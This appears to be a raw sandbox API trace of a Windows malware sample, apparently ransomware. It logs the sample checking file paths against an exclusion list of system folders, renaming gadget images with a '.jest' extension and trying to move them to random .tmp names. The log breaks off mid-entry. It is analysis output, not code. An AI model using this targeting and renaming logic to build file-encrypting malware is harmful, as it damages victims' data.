PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.964] GetTickCount () returned 0x11522fc [0126.964] GetTickCount () returned 0x11522fc [0126.964] CoFreeUnusedLibraries () [0126.964] GetTickCount () returned 0x11522fc [0126.964] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.964] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.964] GetTickCount () returned 0x11522fc [0126.965] IsWindowVisible (hWnd=0x30268) returned 0 [0126.965] Sleep (dwMilliseconds=0x0) [0126.966] GetFullPathNameA (in: lpFileName="m8sXhNbM6G1_R_1gwwOjHl-j65dhHOZ5Cy0vYxOUIdutWe3pV5j59I3IuL5Um6AKzaIL7GdmcC5_jaS kiRh0xjH2_mpndVynGdq.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m8sXhNbM6G1_R_1gwwOjHl-j65dhHOZ5Cy0vYxOUIdutWe3pV5j59I3IuL5Um6AKzaIL7GdmcC5_jaS kiRh0xjH2_mpndVynGdq.tmp", lpFilePart=0x18e708*="m8sXhNbM6G1_R_1gwwOjHl-j65dhHOZ5Cy0vYxOUIdutWe3pV5j59I3IuL5Um6AKzaIL7GdmcC5_jaS kiRh0xjH2_mpndVynGdq.tmp") returned 0x8e [0126.966] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\9.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\9.png", lpFilePart=0x18e708*="9.png") returned 0x50 [0126.966] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\9.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\9.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m8sXhNbM6G1_R_1gwwOjHl-j65dhHOZ5Cy0vYxOUIdutWe3pV5j59I3IuL5Um6AKzaIL7GdmcC5_jaS kiRh0xjH2_mpndVynGdq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m8sxhnbm6g1_r_1gwwojhl-j65dhhoz5cy0vyxouidutwe3pv5j59i3iul5um6akzail7gdmcc5_jas kirh0xjh2_mpndvyngdq.tmp")) returned 0 [0126.968] GetLastError () returned 0x5 [0126.969] GetLastError () returned 0x5 [0126.969] SetLastError (dwErrCode=0x5) [0126.969] GetLastError () returned 0x5 [0126.969] SetLastError (dwErrCode=0x5) [0126.969] GetLastError () returned 0x5 [0126.969] SetLastError (dwErrCode=0x5) [0126.969] GetFullPathNameA (in: lpFileName="m8sXhNbM6G1_R_1gwwOjHl-j65dhHOZ5Cy0vYxOUIdutWe3pV5j59I3IuL5Um6AKzaIL7GdmcC5_jaS kiRh0xjH2_mpndVynGdq.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m8sXhNbM6G1_R_1gwwOjHl-j65dhHOZ5Cy0vYxOUIdutWe3pV5j59I3IuL5Um6AKzaIL7GdmcC5_jaS kiRh0xjH2_mpndVynGdq.tmp", lpFilePart=0x18e6e4*="m8sXhNbM6G1_R_1gwwOjHl-j65dhHOZ5Cy0vYxOUIdutWe3pV5j59I3IuL5Um6AKzaIL7GdmcC5_jaS kiRh0xjH2_mpndVynGdq.tmp") returned 0x8e [0126.969] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m8sXhNbM6G1_R_1gwwOjHl-j65dhHOZ5Cy0vYxOUIdutWe3pV5j59I3IuL5Um6AKzaIL7GdmcC5_jaS kiRh0xjH2_mpndVynGdq.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x5873386d, cFileName="hNbM6G1_R_1gwwOjHl-j65dhHOZ5Cy0vYxOUIdutWe3pV5j59I3IuL5Um6AKzaIL7GdmcC5_jaS kiRh0xjH2_mpndVynGdq.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.969] GetLastError () returned 0x2 [0126.969] GetLastError () returned 0x2 [0126.969] SetLastError (dwErrCode=0x2) [0126.972] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\9.png", cchLength=0x7d | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\9.png") returned 0x7d [0126.972] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0126.972] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\9.png", cchLength=0x7d | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\9.png") returned 0x7d [0126.972] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0126.972] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\9.png", cchLength=0x7d | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\9.png") returned 0x7d [0126.972] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0126.973] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\9.png", cchLength=0x7d | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\9.png") returned 0x7d [0126.973] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0126.973] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\9.png", cchLength=0x7d | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\9.png") returned 0x7d [0126.973] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0126.973] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\9.png", cchLength=0x7d | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\9.png") returned 0x7d [0126.973] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0126.974] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\background.png", cchLength=0x84 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\background.png") returned 0x84 [0126.974] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0126.974] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\background.png", cchLength=0x84 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\background.png") returned 0x84 [0126.974] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0126.974] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\background.png", cchLength=0x84 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\background.png") returned 0x84 [0126.974] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0126.974] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\background.png", cchLength=0x84 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\background.png") returned 0x84 [0126.975] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0126.975] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\background.png", cchLength=0x84 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\background.png") returned 0x84 [0126.975] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0126.975] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\background.png", cchLength=0x84 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\background.png") returned 0x84 [0126.975] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0126.975] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\background.png", cchLength=0x86 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\background.png") returned 0x86 [0126.976] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0126.976] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\background.png", cchLength=0x86 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\background.png") returned 0x86 [0126.976] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0126.976] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\background.png", cchLength=0x86 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\background.png") returned 0x86 [0126.976] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0126.976] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\background.png", cchLength=0x86 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\background.png") returned 0x86 [0126.976] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0126.976] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\background.png", cchLength=0x86 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\background.png") returned 0x86 [0126.977] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0126.977] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\background.png", cchLength=0x86 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\background.png") returned 0x86 [0126.977] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0126.977] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\daisies.png", cchLength=0x57 | out: lpsz="c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\daisies.png") returned 0x57 [0126.977] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0126.977] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\daisies.png", cchLength=0x57 | out: lpsz="c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\daisies.png") returned 0x57 [0126.978] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0126.978] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\daisies.png", cchLength=0x57 | out: lpsz="c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\daisies.png") returned 0x57 [0126.978] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0126.978] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\daisies.png", cchLength=0x57 | out: lpsz="c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\daisies.png") returned 0x57 [0126.978] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0126.978] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\daisies.png", cchLength=0x57 | out: lpsz="c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\daisies.png") returned 0x57 [0126.978] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0126.978] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\daisies.png", cchLength=0x57 | out: lpsz="c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\daisies.png") returned 0x57 [0126.979] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0126.979] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.979] GetTickCount () returned 0x115230b [0126.979] GetTickCount () returned 0x115230b [0126.979] CoFreeUnusedLibraries () [0126.979] GetTickCount () returned 0x115230b [0126.979] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.979] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.979] GetTickCount () returned 0x115230b [0126.979] IsWindowVisible (hWnd=0x30268) returned 0 [0126.979] Sleep (dwMilliseconds=0x0) [0126.981] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\daisies.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\daisies.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\daisies.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\daisies.png.jest")) returned 0 [0126.983] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\daisies.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\daisies.png", lpFilePart=0x18e6d8*="daisies.png") returned 0x56 [0126.983] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\daisies.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba1416e1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba1416e1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc092eedc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa3d5, dwReserved0=0x57, dwReserved1=0x0, cFileName="daisies.png", cAlternateFileName="")) returned 0x143ce48 [0126.984] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.985] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.986] VarBstrFromR4 (in: fltIn=0x4794456e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.86") returned 0x0 [0126.990] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.990] GetTickCount () returned 0x115230b [0126.990] GetTickCount () returned 0x115230b [0126.990] CoFreeUnusedLibraries () [0126.990] GetTickCount () returned 0x115230b [0126.990] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.990] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.990] GetTickCount () returned 0x115230b [0126.990] IsWindowVisible (hWnd=0x30268) returned 0 [0126.990] Sleep (dwMilliseconds=0x0) [0126.996] GetFullPathNameA (in: lpFileName="qvUJ3WO-aWvXInr-JhC2JzjDAjZUjZkf_QnTxXHHsgK qexQIfV2SKzQG0d4D2qKhQc7jRIlAAsJo84-H wcjdVHawJy_dJPEVL.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qvUJ3WO-aWvXInr-JhC2JzjDAjZUjZkf_QnTxXHHsgK qexQIfV2SKzQG0d4D2qKhQc7jRIlAAsJo84-H wcjdVHawJy_dJPEVL.tmp", lpFilePart=0x18e708*="qvUJ3WO-aWvXInr-JhC2JzjDAjZUjZkf_QnTxXHHsgK qexQIfV2SKzQG0d4D2qKhQc7jRIlAAsJo84-H wcjdVHawJy_dJPEVL.tmp") returned 0x8d [0126.997] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\daisies.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\daisies.png", lpFilePart=0x18e708*="daisies.png") returned 0x56 [0126.997] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\daisies.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\daisies.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qvUJ3WO-aWvXInr-JhC2JzjDAjZUjZkf_QnTxXHHsgK qexQIfV2SKzQG0d4D2qKhQc7jRIlAAsJo84-H wcjdVHawJy_dJPEVL.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qvuj3wo-awvxinr-jhc2jzjdajzujzkf_qntxxhhsgk qexqifv2skzqg0d4d2qkhqc7jrilaasjo84-h wcjdvhawjy_djpevl.tmp")) returned 0 [0126.999] GetLastError () returned 0x5 [0126.999] GetLastError () returned 0x5 [0126.999] SetLastError (dwErrCode=0x5) [0126.999] GetLastError () returned 0x5 [0126.999] SetLastError (dwErrCode=0x5) [0126.999] GetLastError () returned 0x5 [0126.999] SetLastError (dwErrCode=0x5) [0127.000] GetFullPathNameA (in: lpFileName="qvUJ3WO-aWvXInr-JhC2JzjDAjZUjZkf_QnTxXHHsgK qexQIfV2SKzQG0d4D2qKhQc7jRIlAAsJo84-H wcjdVHawJy_dJPEVL.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qvUJ3WO-aWvXInr-JhC2JzjDAjZUjZkf_QnTxXHHsgK qexQIfV2SKzQG0d4D2qKhQc7jRIlAAsJo84-H wcjdVHawJy_dJPEVL.tmp", lpFilePart=0x18e6e4*="qvUJ3WO-aWvXInr-JhC2JzjDAjZUjZkf_QnTxXHHsgK qexQIfV2SKzQG0d4D2qKhQc7jRIlAAsJo84-H wcjdVHawJy_dJPEVL.tmp") returned 0x8d [0127.000] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qvUJ3WO-aWvXInr-JhC2JzjDAjZUjZkf_QnTxXHHsgK qexQIfV2SKzQG0d4D2qKhQc7jRIlAAsJo84-H wcjdVHawJy_dJPEVL.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4a557671, cFileName="3WO-aWvXInr-JhC2JzjDAjZUjZkf_QnTxXHHsgK qexQIfV2SKzQG0d4D2qKhQc7jRIlAAsJo84-H wcjdVHawJy_dJPEVL.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.000] GetLastError () returned 0x2 [0127.000] GetLastError () returned 0x2 [0127.000] SetLastError (dwErrCode=0x2) [0127.001] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\daisies.png", cchLength=0x83 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\daisies.png") returned 0x83 [0127.001] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0127.001] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\daisies.png", cchLength=0x83 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\daisies.png") returned 0x83 [0127.001] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0127.001] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\daisies.png", cchLength=0x83 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\daisies.png") returned 0x83 [0127.001] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0127.001] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\daisies.png", cchLength=0x83 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\daisies.png") returned 0x83 [0127.002] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0127.002] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\daisies.png", cchLength=0x83 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\daisies.png") returned 0x83 [0127.002] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0127.002] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\daisies.png", cchLength=0x83 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\daisies.png") returned 